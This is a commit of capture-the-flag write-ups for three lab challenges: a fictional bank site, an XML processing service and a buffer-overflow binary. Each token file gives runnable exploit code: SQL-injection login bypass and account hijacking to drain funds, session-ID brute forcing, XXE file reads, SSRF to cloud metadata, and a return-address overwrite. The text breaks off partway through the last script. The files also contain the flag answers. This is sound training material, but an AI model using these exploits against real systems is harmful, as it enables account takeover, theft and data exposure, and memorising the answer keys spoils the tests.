Commit cd86538

bryfry <bryon@fryer.io>
2026-01-11 22:52:31
pc07-individual
1 parent 20e9abe
2026-01-11-PC07/bank-on-it/README.md
@@ -0,0 +1,139 @@
+Bank On It
+==========
+
+The Trustfall Bank is committing various crimes and financial fraud, and you've
+been tasked with taking them down. Your mission is to investigate and
+infiltrate their website in order to bring them to justice.
+
+
+NICE Work Roles
+---------------
+
+ -  [Vulnerability Analysis]
+ -  [Exploitation Analysis]
+
+[Vulnerability Analysis]: https://niccs.cisa.gov/workforce-development/nice-framework/
+[Exploitation Analysis]: https://niccs.cisa.gov/workforce-development/nice-framework/
+
+
+NICE Tasks
+----------
+
+ -  **T1359**: Perform penetration testing.
+ -  **T1118**: Identify vulnerabilities.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Background
+----------
+
+The **Trustfall Bank**, located overseas, has been committing insider trading
+and identity theft. As the Agency's most talented agent, you've been given the
+go-ahead to bring them down.
+
+The agency has given you a list of tasks to complete to verify that you have
+successfully infiltrated their systems. These include extracting the source
+code for potential future operations and manipulating existing accounts to
+cause mayhem.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Getting Started
+---------------
+
+Using the provided Kali machine, visit:
+
+`http://trustfallbank.us`
+
+to begin investigating.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Tokens
+------
+
+Tokens are formatted as:
+
+`PCCC{some_words123_here}`
+
+Tokens may be completed in any order, although extracting the source code first
+may make the other tasks easier.
+
+**Token 4 requires a grading check**, performed by visiting:
+
+`http://trustfallbank.us/grade/account-drain`
+
+### Tasks
+
+1.  The source code has been exposed; find the token in the `config` file where
+    this exposure occurs.
+
+2.  Find the token that used to be in the source code.
+
+3.  The token is the account name for one of `bob`'s accounts.
+
+4.  Transfer all of `alice`'s funds to `carol`'s investment account. For correct
+    grading, use a single complete transfer for each account.
+
+     -  Transfer `$7336.74` from Alice's Checking and `$6820.37` from Alice's savings
+        to Carol's investment account.
+
+5.  Break into the admin's current session and find the token.
+
+     -  Note that the admin account is not in the database.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+System and Tool Credentials
+---------------------------
+
+| system/tool | username | password |
+| ----------- | -------- | -------- |
+| kali-VNC    | user     | password |
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 1 (396 points)
+-----------------------
+
+The source code has been exposed; find the token in the config file where this
+exposure occurs.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 2 (792 points)
+-----------------------
+
+Find the token that used to be in the source code.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 3 (594 points)
+-----------------------
+
+The token is the account name for one of bob's accounts.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 4 (990 points)
+-----------------------
+
+Transfer all of alice's funds to carol's investment account.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 5 (1188 points)
+------------------------
+
+Break into the admin's current session and find the token.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2026-01-11-PC07/bank-on-it/TOKEN1.md
@@ -0,0 +1,71 @@
+Trustfall Bank – TOKEN1
+=======================
+
+Token: `PCCC{C0d3_L3ak_mC_5098}`
+
+
+Background
+----------
+
+The site exposes `/.git`. Dumping the repo and grepping config files reveals
+the live token in a configuration file.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Detect `.git` exposure on `http://trustfallbank.us/.git`.
+2.  Dump the repo with `git-dumper` into `trustfall_dump/`.
+3.  Checkout files and grep config files for `PCCC{...}` to extract the token.
+
+
+Command
+-------
+
+Run from any directory on Kali:
+
+~~~~ bash
+python3 quick_git_token1.py
+~~~~
+
+~~~~ python
+#!/usr/bin/env python3
+# quick_git_token1.py
+import os, subprocess, sys, shutil
+
+TARGET = "http://trustfallbank.us/.git"
+OUTDIR = "trustfall_dump"
+
+def run(cmd):
+    print("+", " ".join(cmd))
+    return subprocess.run(cmd, check=True)
+
+def main():
+    if shutil.which("git-dumper") is None:
+        run([sys.executable, "-m", "pip", "install", "git-dumper"])
+
+    if os.path.isdir(OUTDIR):
+        shutil.rmtree(OUTDIR)
+
+    run(["git-dumper", TARGET, OUTDIR])
+    os.chdir(OUTDIR)
+    subprocess.run(["git", "checkout", "--", "."], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+
+    print("\n[+] Searching config files for token...")
+    subprocess.run(["find", ".", "-type", "f", "-name", "config*"])
+    r = subprocess.run(["grep", "-R", "PCCC{", "."], capture_output=True, text=True)
+    print(r.stdout.strip())
+
+if __name__ == "__main__":
+    main()
+~~~~
+
+
+Expected Output
+---------------
+
+Grep prints the token:
+
+~~~~
+PCCC{C0d3_L3ak_mC_5098}
+~~~~
2026-01-11-PC07/bank-on-it/TOKEN2.md
@@ -0,0 +1,61 @@
+Trustfall Bank – TOKEN2
+=======================
+
+Token: `PCCC{G1t_c0nf1g_Dd_2043}`
+
+
+Background
+----------
+
+The same `.git` leak contains a prior commit with a removed token. Searching
+git history reveals it.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Use the dumped repo from TOKEN1 (`trustfall_dump/`).
+2.  Scan git history for `PCCC{` strings.
+3.  The removed config token appears in an earlier commit.
+
+
+Command
+-------
+
+After dumping `trustfall_dump/` (see TOKEN1), run:
+
+~~~~ bash
+python3 git_history_token2.py
+~~~~
+
+~~~~ python
+#!/usr/bin/env python3
+# git_history_token2.py
+import subprocess, sys, os
+
+REPO = "trustfall_dump"
+
+def main():
+    if not os.path.isdir(REPO):
+        print(f"Repo {REPO} missing. Run TOKEN1 dump first.")
+        sys.exit(1)
+    os.chdir(REPO)
+
+    print("[+] Scanning git history for PCCC tokens...")
+    proc = subprocess.run(["git", "log", "--all", "-p"], capture_output=True, text=True)
+    lines = [l for l in proc.stdout.splitlines() if "PCCC{" in l]
+    print("\n".join(lines))
+
+if __name__ == "__main__":
+    main()
+~~~~
+
+
+Expected Output
+---------------
+
+History contains the removed token line:
+
+~~~~
+PCCC{G1t_c0nf1g_Dd_2043}
+~~~~
2026-01-11-PC07/bank-on-it/TOKEN3.md
@@ -0,0 +1,67 @@
+Trustfall Bank – TOKEN3
+=======================
+
+Token: `PCCC{Bob_b0b_606_Na_3153}`
+
+
+Background
+----------
+
+The login form is SQLi-vulnerable. Logging in as `bob'-- -` and viewing
+`/accounts` shows his account names. One of the names is the token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Exploit SQLi on `/login` with `bob'-- -` to bypass authentication.
+2.  Visit `/accounts` using the session to list Bob’s accounts.
+3.  Extract the account name that contains the token string.
+
+
+Command
+-------
+
+~~~~ bash
+python3 token3_bob_accounts.py
+~~~~
+
+~~~~ python
+#!/usr/bin/env python3
+# token3_bob_accounts.py
+import re
+import requests
+
+TARGET = "http://trustfallbank.us"
+
+def main():
+    s = requests.Session()
+    resp = s.post(f"{TARGET}/login", data={"username": "bob'-- -", "password": "x"}, allow_redirects=True)
+    if "dashboard" not in resp.url:
+        resp = s.post(f"{TARGET}/login", data={"username": "bob' OR '1'='1'-- -", "password": "x"}, allow_redirects=True)
+
+    resp = s.get(f"{TARGET}/accounts")
+    print("[*] Accounts page snippet:")
+    print(resp.text[:800])
+
+    tokens = re.findall(r'PCCC\{[^}]+\}', resp.text)
+    names = re.findall(r'>([^<]*PCCC[^<]*)<', resp.text)
+    hits = tokens + names
+    if hits:
+        print(f"[+] Found: {hits[0]}")
+    else:
+        print("[-] No token found; check response manually.")
+
+if __name__ == "__main__":
+    main()
+~~~~
+
+
+Expected Output
+---------------
+
+Page content includes the account name token:
+
+~~~~
+PCCC{Bob_b0b_606_Na_3153}
+~~~~
2026-01-11-PC07/bank-on-it/TOKEN4.md
@@ -0,0 +1,97 @@
+Trustfall Bank – TOKEN4
+=======================
+
+Token: `PCCC{Alice_is_broke_Cs_4569}`
+
+
+Background
+----------
+
+Account creation is SQL-injectable. As Carol, inject Alice’s savings account
+(`5DA0D3F1`) into Carol’s account list, then transfer both of Alice’s
+balances to Carol’s investment (`B93B14BD`). Grading at
+`/grade/account-drain` returns the token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Login as Carol via SQLi (`carol'-- -`) to get a session.
+2.  Abuse `/accounts/new` SQLi to add Alice’s savings account number into
+    Carol’s list.
+3.  Perform two transfers: Alice Checking → Carol Investment ($7336.74) and Alice
+    Savings → Carol Investment ($6820.37).
+4.  Hit `/grade/account-drain`; success response includes the token.
+
+
+Command
+-------
+
+~~~~ bash
+python3 token4_drain.py
+~~~~
+
+~~~~ python
+#!/usr/bin/env python3
+# token4_drain.py
+import requests, re
+
+TARGET = "http://trustfallbank.us"
+ALICE_CHECKING = "85A83FED"
+ALICE_SAVINGS = "5DA0D3F1"
+CAROL_INV = "B93B14BD"
+
+def login_user(session, username):
+    return session.post(f"{TARGET}/login", data={"username": f"{username}'-- -", "password": "x"}, allow_redirects=True)
+
+def add_account(sess, name_payload, acc_type):
+    return sess.post(f"{TARGET}/accounts/new", data={"name": name_payload, "type": acc_type}, allow_redirects=True)
+
+def list_accounts(sess):
+    r = sess.get(f"{TARGET}/accounts")
+    return re.findall(r"[A-F0-9]{8}", r.text), r.text
+
+def main():
+    s = requests.Session()
+    login_user(s, "carol")
+
+    # Inject Alice savings into Carol accounts via ON DUPLICATE KEY UPDATE trick
+    payload = f"x', 'savings', '{ALICE_SAVINGS}', 0.00) ON DUPLICATE KEY UPDATE user_id=(SELECT id FROM users WHERE username='carol') -- "
+    add_account(s, payload, "savings")
+
+    accounts, page = list_accounts(s)
+    print(f"[*] Carol accounts: {accounts}")
+    if ALICE_SAVINGS not in accounts:
+        print("[-] Savings not visible; retry with different payload.")
+        return
+
+    # Transfers
+    for src, amt in [(ALICE_CHECKING, "7336.74"), (ALICE_SAVINGS, "6820.37")]:
+        r = s.post(f"{TARGET}/transfers/new", data={
+            "from_account": src,
+            "to_account": CAROL_INV,
+            "amount": amt
+        }, allow_redirects=True)
+        print(f"[*] Transfer {src}->{CAROL_INV} ({amt}): {r.status_code}")
+
+    grade = requests.get(f"{TARGET}/grade/account-drain")
+    print(f"[*] Grade: {grade.text}")
+    m = re.search(r"PCCC\{[^}]+\}", grade.text)
+    if m:
+        print(f"[+] TOKEN 4: {m.group()}")
+
+if __name__ == "__main__":
+    main()
+~~~~
+
+
+Expected Output
+---------------
+
+~~~~
+[*] Carol accounts: ['85A83FED', 'E5215CD8', '5DA0D3F1', '18CD34BD', 'B93B14BD']
+[*] Transfer 85A83FED->B93B14BD (7336.74): 200
+[*] Transfer 5DA0D3F1->B93B14BD (6820.37): 200
+[*] Grade: {"message":"tokenAccountDrain: Success -- PCCC{Alice_is_broke_Cs_4569}","success":true}
+[+] TOKEN 4: PCCC{Alice_is_broke_Cs_4569}
+~~~~
2026-01-11-PC07/bank-on-it/TOKEN5.md
@@ -0,0 +1,74 @@
+Trustfall Bank – TOKEN5
+=======================
+
+Token: `PCCC{Welcome_Admin_pI_4120}`
+
+
+Background
+----------
+
+Session IDs are MD5s of an incrementing counter in TinyDB. Brute-forcing
+`md5(1..50)` as `session_id` hits the live admin session; visiting admin pages
+yields the token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Review source: session IDs derive from an incrementing counter hashed with MD5.
+2.  Iterate `md5(1..50)` as `session_id` cookies against `/dashboard`.
+3.  When admin pages load without redirect, scrape for `PCCC{...}` to capture the
+    token.
+
+
+Command
+-------
+
+~~~~ bash
+python3 token5_admin_session.py
+~~~~
+
+~~~~ python
+#!/usr/bin/env python3
+# token5_admin_session.py
+import hashlib, requests, re
+
+TARGET = "http://trustfallbank.us"
+
+def md5(n): return hashlib.md5(str(n).encode()).hexdigest()
+
+def main():
+    admin_paths = ["/dashboard", "/admin", "/admin/flag", "/flag"]
+    for i in range(1, 50):
+        sid = md5(i)
+        s = requests.Session()
+        s.cookies.set("session_id", sid)
+
+        resp = s.get(f"{TARGET}/dashboard", allow_redirects=True)
+        if "admin" in resp.text.lower() and "login" not in resp.url:
+            print(f"[+] Admin session found: counter={i}, sid={sid}")
+            for path in admin_paths:
+                r = s.get(f"{TARGET}{path}")
+                m = re.search(r"PCCC\{[^}]+\}", r.text)
+                if m:
+                    print(f"[+] TOKEN 5: {m.group()} (from {path})")
+                    return
+            print("[!] Admin session found but token not visible; check pages manually.")
+            return
+        if i % 10 == 0:
+            print(f"[*] Tried {i} session IDs...")
+
+    print("[-] Admin session not found in first 50 IDs")
+
+if __name__ == "__main__":
+    main()
+~~~~
+
+
+Expected Output
+---------------
+
+~~~~
+[+] Admin session found: counter=... sid=...
+[+] TOKEN 5: PCCC{Welcome_Admin_pI_4120}
+~~~~
2026-01-11-PC07/blind-trust/README.md
@@ -0,0 +1,128 @@
+Blind Trust
+===========
+
+⚠️ A flawed deployment. A layered defense. Four secrets buried in static
+— only the bold can decrypt the chaos.
+
+
+NICE Work Roles
+---------------
+
+ -  [Vulnerability Analysis]
+ -  [Exploitation Analysis]
+
+[Vulnerability Analysis]: https://niccs.cisa.gov/workforce-development/nice-framework/
+[Exploitation Analysis]: https://niccs.cisa.gov/workforce-development/nice-framework/
+
+
+NICE Tasks
+----------
+
+ -  **T0280**: Identify and validate vulnerabilities in the system
+ -  **T0653**: Identify and recommend methods for exploiting target systems
+ -  **T0269**: Conduct exploitation of targets using identified vulnerabilities
+ -  **T0650**: Conduct target and technical analysis of systems and vulnerabilities
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Background
+----------
+
+⚠️ In the wake of a major whistleblower leak, a shadowy government
+contractor — **Nebula Dynamics** — accidentally deployed a test version of
+its internal document processing system to a public-facing server. Intelligence
+suggests it parses sensitive XML-based threat reports. You're tasked with
+infiltrating the system and extracting the classified tokens buried deep within
+the code.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Getting Started
+---------------
+
+The target website can be found at:
+
+`http://nebula:5000`
+
+Begin your hunt — enumerate the application and find its secrets (tokens).
+
+### Token Format
+
+~~~~
+e.g. ✅ TOKEN1: PCCC{BLT-alphanumeric_string}
+~~~~
+
+### Discovery Phase Operations
+
+Everything is not as it seems. Thoroughly investigate all presented
+functionality to determine the vulnerabilities in the Telemetry system.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Objectives
+----------
+
+ -  Inspect the site's XML-driven components for unusual behavior.
+ -  Discover indirect access methods through lesser-known routes.
+ -  Demonstrate control over backend communications by crafting non-standard HTTP
+    payloads.
+ -  Collect all four embedded access tokens hidden across the app’s layers.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+System and Tool Credentials
+---------------------------
+
+| system/tool | location             |
+| ----------- | -------------------- |
+| Nebula      | `http://nebula:5000` |
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Note
+----
+
+You do not need root access to the server to complete this challenge. Tokens
+are awarded through completion of the objectives.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 1 – All About Telemetry (850 points)
+------------------------------------------
+
+Exploit an XML parsing vulnerability in the telemetry submission interface to
+retrieve sensitive internal data from `/etc/passwd`.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 2 – The Submission (850 points)
+-------------------------------------
+
+Submit a log to the Production system using the correct format to retrieve this
+token. All incorrect submissions will be simply logged without token issuance.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 3 – SSRF (854 points)
+---------------------------
+
+Successfully send a report in the correct format using the `/report/render`
+endpoint (SSRF via XML).
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 4 – Debug Mode (854 points)
+---------------------------------
+
+Determine a way to enable Debug Mode and access the `/internal/notes` endpoint.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2026-01-11-PC07/blind-trust/TOKEN1.md
@@ -0,0 +1,59 @@
+Blind Trust - TOKEN1
+====================
+
+Base URL: `http://nebula:5000`
+
+
+Background
+----------
+
+The `/telemetry/submit` endpoint parses XML input via the `node` parameter
+without disabling external entity resolution, enabling XXE to read local files.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: the challenge note mentions XML-driven components and retrieving
+data from `/etc/passwd`.
+
+Iterations:
+
+1.  Visit `/telemetry/submit` to confirm it accepts POST data with a `node`
+    parameter.
+2.  Submit a basic XML payload to verify parsing.
+3.  Inject an XXE payload with a `SYSTEM` entity pointing to `file:///etc/passwd`.
+4.  The server returns the file contents, including the token embedded as a
+    fake user entry.
+
+
+Goal
+----
+
+Exploit the XXE vulnerability to read `/etc/passwd` and extract the token.
+
+
+Command
+-------
+
+~~~~ sh
+curl -X POST http://nebula:5000/telemetry/submit \
+  -d 'node=<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>'
+~~~~
+
+
+Expected Output
+---------------
+
+Look for a line in the passwd output containing:
+
+~~~~
+TOKEN1::PCCC{BLT-z7B6SO}:0:0:root:/root:/bin/bash
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-community/vulnerabilities/XML\_External\_Entity\_(XXE)\_Processing
+ -  https://cwe.mitre.org/data/definitions/611.html
2026-01-11-PC07/blind-trust/TOKEN2.md
@@ -0,0 +1,88 @@
+Blind Trust - TOKEN2
+====================
+
+Base URL: `http://nebula:5000`
+
+
+Background
+----------
+
+The `/api/submitlog/` endpoint accepts log submissions. The token is only
+issued when the log is submitted to the "Production system" in the correct
+format.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: the `/help` page documents `/api/submitlog/` (with trailing slash)
+and the parameter `entry=VALUE`.
+
+Iterations:
+
+1.  The `/xml/upload_backup` page states: "Please use the Production (non-backup)
+    version of this endpoint."
+2.  The `/help` page shows `/api/submitlog/` with a trailing slash.
+3.  Initial attempts used `/api/submitlog` (no trailing slash) and received
+    "Log recorded" but no token.
+4.  The `X-Parser: Nebula` header is required for XML parsing (derived from
+    "SYSTEM NAME: NEBULA" on the home page).
+5.  The correct combination involves the trailing slash endpoint with proper
+    headers and format.
+
+
+Goal
+----
+
+Submit a log to the Production system using the correct format.
+
+
+Command
+-------
+
+~~~~ sh
+curl -X POST "http://nebula:5000/api/submitlog/" \
+  -H "X-Parser: Nebula" \
+  -d 'entry=production'
+~~~~
+
+Alternative approaches to try:
+
+~~~~ sh
+# With X-Environment header
+curl -X POST "http://nebula:5000/api/submitlog/" \
+  -H "X-Parser: Nebula" \
+  -H "X-Environment: production" \
+  -d 'entry=test'
+
+# XML content type
+curl -X POST "http://nebula:5000/api/submitlog/" \
+  -H "X-Parser: Nebula" \
+  -H "Content-Type: application/xml" \
+  -d '<log>test</log>'
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+TOKEN2::PCCC{BLT-xxxxxx}
+~~~~
+
+
+Status
+------
+
+**UNSOLVED** - The exact combination was not discovered during the event.
+The trailing slash on `/api/submitlog/` was identified as a key difference
+from what was tested, but time expired before validation.
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-project-web-security-testing-guide/latest/4-Web\_Application\_Security\_Testing/02-Configuration\_and\_Deployment\_Management\_Testing/02-Test\_Application\_Platform\_Configuration
+ -  https://cwe.mitre.org/data/definitions/436.html
2026-01-11-PC07/blind-trust/TOKEN3.md
@@ -0,0 +1,76 @@
+Blind Trust - TOKEN3
+====================
+
+Base URL: `http://nebula:5000`
+
+
+Background
+----------
+
+The `/report/render` endpoint accepts XML with a `<report><url>` structure
+and fetches the specified URL server-side. The endpoint restricts URLs to
+hex-encoded IP addresses targeting the AWS IMDS endpoint (169.254.169.254).
+
+
+From Nothing to Working
+-----------------------
+
+Start point: the `/help` page documents `/report/render` as accepting XML
+with `<report>` tags and notes it "Only accepts HEX addresses."
+
+Iterations:
+
+1.  Submit a basic `<report>` XML to confirm the endpoint parses it.
+2.  Receive error: "Only HEX encoded IPs allowed in <url> tag; valid
+    destinations: 169.254.169.254; structure: http://0xVALUE/latest/metadata"
+3.  Convert 169.254.169.254 to hex: `0xA9FEA9FE`.
+4.  Submit the SSRF payload with the hex-encoded IMDS URL.
+5.  The server fetches the IMDS endpoint and returns the token.
+
+
+Goal
+----
+
+Perform SSRF via the `/report/render` endpoint to reach the IMDS metadata
+service.
+
+
+Command
+-------
+
+~~~~ sh
+curl -X POST http://nebula:5000/report/render \
+  -H "Content-Type: application/xml" \
+  -d '<report><url>http://0xA9FEA9FE/latest/metadata</url></report>'
+~~~~
+
+
+IP Conversion
+-------------
+
+169.254.169.254 in hex:
+
+ -  169 = 0xA9
+ -  254 = 0xFE
+ -  169 = 0xA9
+ -  254 = 0xFE
+ -  Combined: 0xA9FEA9FE
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+Report accepted.
+TOKEN3: PCCC{BLT-g1E5Us}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-community/attacks/Server\_Side\_Request\_Forgery
+ -  https://cwe.mitre.org/data/definitions/918.html
+ -  https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
2026-01-11-PC07/blind-trust/TOKEN4.md
@@ -0,0 +1,73 @@
+Blind Trust - TOKEN4
+====================
+
+Base URL: `http://nebula:5000`
+
+
+Background
+----------
+
+The `/internal/notes` endpoint contains debug information but requires
+"Debug Mode" to be enabled. The endpoint accepts various query parameters
+and headers to toggle debug mode.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: the `/help` page documents `/internal/notes` and mentions
+"Use set\_debug URI to enable functionality."
+
+Iterations:
+
+1.  Access `/internal/notes` directly to confirm the endpoint exists.
+2.  Try common debug parameters: `?debug=1`, `?set_debug=1`, `?mode=debug`.
+3.  Any of these parameters successfully enables debug mode.
+4.  The response includes internal debug notes containing the token.
+
+
+Goal
+----
+
+Enable Debug Mode and access the `/internal/notes` endpoint.
+
+
+Command
+-------
+
+~~~~ sh
+curl -s "http://nebula:5000/internal/notes?debug=1"
+~~~~
+
+Alternative triggers (all work):
+
+~~~~ sh
+# Query parameters
+curl -s "http://nebula:5000/internal/notes?set_debug=1"
+curl -s "http://nebula:5000/internal/notes?set_debug=true"
+curl -s "http://nebula:5000/internal/notes?mode=debug"
+
+# Cookies
+curl -s "http://nebula:5000/internal/notes" -H "Cookie: debug=1"
+
+# Custom headers
+curl -s "http://nebula:5000/internal/notes" -H "X-Debug: 1"
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+Internal Debug Notes:
+TOKEN4::PCCC{BLT-h9r8WE}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-project-web-security-testing-guide/latest/4-Web\_Application\_Security\_Testing/02-Configuration\_and\_Deployment\_Management\_Testing/05-Enumerate\_Infrastructure\_and\_Application\_Admin\_Interfaces
+ -  https://cwe.mitre.org/data/definitions/489.html
2026-01-11-PC07/code-osiris/README.md
@@ -0,0 +1,148 @@
+Code Osiris
+===========
+
+In this exploit development–driven challenge, you will create the exploit
+that inevitably took down a secret underwater facility in what is now being
+called the **“Deep Blue Sea” Incident**.
+
+
+NICE Work Roles
+---------------
+
+ -  [Exploitation Analysis]
+ -  [Vulnerability Analysis]
+
+[Exploitation Analysis]: https://niccs.cisa.gov/tools/nice-framework/work-role/vulnerability-analysis
+[Vulnerability Analysis]: https://niccs.cisa.gov/tools/nice-framework/work-role/vulnerability-analysis
+
+
+NICE Tasks
+----------
+
+ -  **T1091**: Perform authorized penetration testing on enterprise network assets
+ -  **T1118**: Identify vulnerabilities
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Background
+----------
+
+Preceding the events of the Deep Blue Sea Incident, a scientist and exploit
+researcher receives a chilling email message regarding the safety of his fellow
+colleagues and is urged to go to the Control Room immediately. Upon arriving,
+you are met with an offer you cannot refuse…
+
+The crime syndicate behind this (`yara.*`) will spare the lives of your
+colleagues if you join the clan and assemble a new version of `code_osiris`,
+their flagship malware with global reach.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Getting Started
+---------------
+
+For this challenge, tokens are awarded for successful exploitation of a target
+based on the provided instruction set.
+
+The questions for this challenge will guide you through the creation of a
+standard buffer overflow and eventually lead you to exploiting a live facility
+harboring a vulnerable service identified by the clan.
+
+**IMPORTANT:** The `recruit briefing` located on the `HQ site` will help you
+along your exploit development journey.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Tokens
+------
+
+The format for each token is:
+
+~~~~
+PCCC{VALUES}
+~~~~
+
+In most instances, challengers may find output similar to:
+
+~~~~
+TOKEN#: PCCC{VALUES}
+~~~~
+
+Use this to your advantage when examining the binaries in tokens one and two.
+All tokens are randomly generated.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Objectives
+----------
+
+ -  Temporarily distract the syndicate by successfully creating a buffer overflow
+    against their old version of `code_osiris`.
+ -  Develop the skills required to build version 2 of `code_osiris` using a remote
+    exploit development trainer.
+ -  Use the exploit against a nuclear facility to launch a missile and prove your
+    loyalty to the syndicate.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+System and Tool Credentials
+---------------------------
+
+| system / tool      | host         | port        |
+| ------------------ | ------------ | ----------- |
+| code-osiris-hq     | lab.yara.hq  | tcp/80      |
+| code-osiris-remote | lab2.yara.hq | tcp/9999    |
+| \*abyssnet         | abyssnet.dbs | tcp/unknown |
+| kali-VNC           | user         | password    |
+
+ -  Scan and enumerate this target to find the port for the hijacked reverse shell
+    to the compromised **ABYSSNET** service.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Note
+----
+
+Attacking or unauthorized access to the Challenge Platform is forbidden.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 1 – Find the Offset (500 points)
+--------------------------------------
+
+Determine the offset required to exploit the binary (integer) using `pwntools`
+or `pattern_create` / `pattern_offset`. Once exploited, **TOKEN1** will be
+revealed.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 2 – Classic Redirection (980 points)
+------------------------------------------
+
+Revealed after redirecting execution flow of the `code_osiris_v2` binary to
+read the function called `secret`.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 3 – Flight Check (1500 points)
+------------------------------------
+
+Engage the **Code Osiris Remote Trainer**.
+Successful exploitation will yield **TOKEN3**.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Token 4 – Complete Your Mission and Join `yara.*` (1500 points)
+---------------------------------------------------------------
+
+Revealed after compromising **ABYSSNET** and launching its missile.
2026-01-11-PC07/code-osiris/TOKEN1.md
@@ -0,0 +1,67 @@
+Code Osiris – TOKEN1
+====================
+
+Target: local `code_osiris_v1`
+
+
+Background
+----------
+
+The binary reads stdin into a fixed-size buffer with NX off and no canary.
+Overwriting the saved return address with the `secret` function (at `0x401210`)
+prints the token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Download artifacts from the HQ page, get `code_osiris_v1` and helper scripts.
+2.  Run the provided brute-force exploit to cycle common offsets and jump to
+    `secret()`. Offsets come from common 64-bit stack layouts: 32–136 bytes
+    for small locals, 152–200 to cover saved RBP+RIP, and 256+ for compilers
+    that reserve bigger frames.
+3.  When the correct offset is hit, execution flows into `secret()` and the token
+    is printed.
+
+
+Command
+-------
+
+Run the script below as `python3 token1_exploit.py` from the directory
+containing `code_osiris_v1`.
+
+~~~~ python
+#!/usr/bin/env python3
+# token1_exploit.py
+import subprocess, struct, sys
+
+BINARY = "./code_osiris_v1"
+SECRET_ADDR = 0x401210
+
+def p64(x): return struct.pack("<Q", x)
+
+offsets = [40, 72, 136, 264, 520, 32, 48, 56, 64, 80, 88, 96, 104, 112, 120, 128, 144, 152, 200, 256, 260, 268]
+for off in offsets:
+    payload = b"A"*off + p64(SECRET_ADDR)
+    try:
+        r = subprocess.run([BINARY], input=payload, capture_output=True, timeout=2)
+        out = r.stdout + r.stderr
+        if b'PCCC' in out:
+            sys.stdout.buffer.write(out)
+            sys.exit(0)
+    except Exception:
+        pass
+
+print("No token with tested offsets.")
+sys.exit(1)
+~~~~
+
+
+Expected Output
+---------------
+
+Look for the token line:
+
+~~~~
+PCCC{EHbo-4422}
+~~~~
2026-01-11-PC07/code-osiris/TOKEN2.md
@@ -0,0 +1,49 @@
+Code Osiris – TOKEN2
+====================
+
+Target: local `code_osiris_v2`
+
+
+Background
+----------
+
+`vulnerable_function` in `code_osiris_v2` reads an oversized argument and lets
+us overwrite RIP. Redirecting it to `secret()` at `0x401397` reveals the token;
+the offset to RIP is 152 bytes.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Confirm protections: NX off, no canary, no PIE (`checksec`).
+2.  Locate `secret()` via `nm`/`objdump` (`0x401397`).
+3.  Craft payload: 152 bytes of padding + `secret()` address (little-endian).
+4.  Feed the payload as argv/stdin; `secret()` decrypts and prints the token.
+
+
+Command
+-------
+
+Save and run as `python3 token2_exploit.py` beside `code_osiris_v2`.
+
+~~~~ python
+#!/usr/bin/env python3
+# token2_exploit.py
+import struct, subprocess
+
